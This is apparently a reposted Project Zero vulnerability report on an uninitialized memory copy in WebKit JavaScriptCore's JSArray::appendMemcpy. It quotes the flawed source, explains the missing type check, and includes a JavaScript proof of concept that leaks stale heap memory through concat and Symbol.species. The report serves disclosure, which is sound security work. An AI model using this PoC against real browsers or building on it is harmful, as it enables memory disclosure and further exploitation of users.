WebKit JSC - 'JSArray::appendMemcpy' Uninitialized Memory Copy

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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1236

WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy

Here's a snippet of JSArray::appendMemcpy.

bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)
{
    auto scope = DECLARE_THROW_SCOPE(vm);

    if (!canFastCopy(vm, otherArray))
        return false;

    IndexingType type = indexingType();
    IndexingType copyType = mergeIndexingTypeForCopying(otherArray->indexingType());
    if (type == ArrayWithUndecided && copyType != NonArray) {
        if (copyType == ArrayWithInt32)
            convertUndecidedToInt32(vm);
        else if (copyType == ArrayWithDouble)
            convertUndecidedToDouble(vm);
        else if (copyType == ArrayWithContiguous)
            convertUndecidedToContiguous(vm);
        else {
            ASSERT(copyType == ArrayWithUndecided);
            return true;
        }
    } else if (type != copyType)
        return false;

    ...

    if (type == ArrayWithDouble)
        memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength);
    else
        memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength);

    return true;
}

The method considers the case where |this|'s type is ArrayWithUndecided, but does not consider whether |otherArray|'s type is ArrayWithUndecided that may have uninitialized data.
So, when the memcpy function is called, |otherArray|'s uninitialized memory may be copied to |this| which has a type.

PoC:
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function optNewArrayAndConcat() {
    let a = [,,,,,,,,,];
    return Array.prototype.concat.apply(a);
}

function main() {
    Array.prototype.constructor = {
        [Symbol.species]: function () {
            return [{}];
        }
    };

    gc();

    for (let i = 0; i < 0x10000; i++) {
        optNewArrayAndConcat().fill({});
    }

    gc();

    for (let i = 0; i < 0x20000; i++) {
        let res = optNewArrayAndConcat();
        if (res[0])
            print(res.toString());
    }
}

main();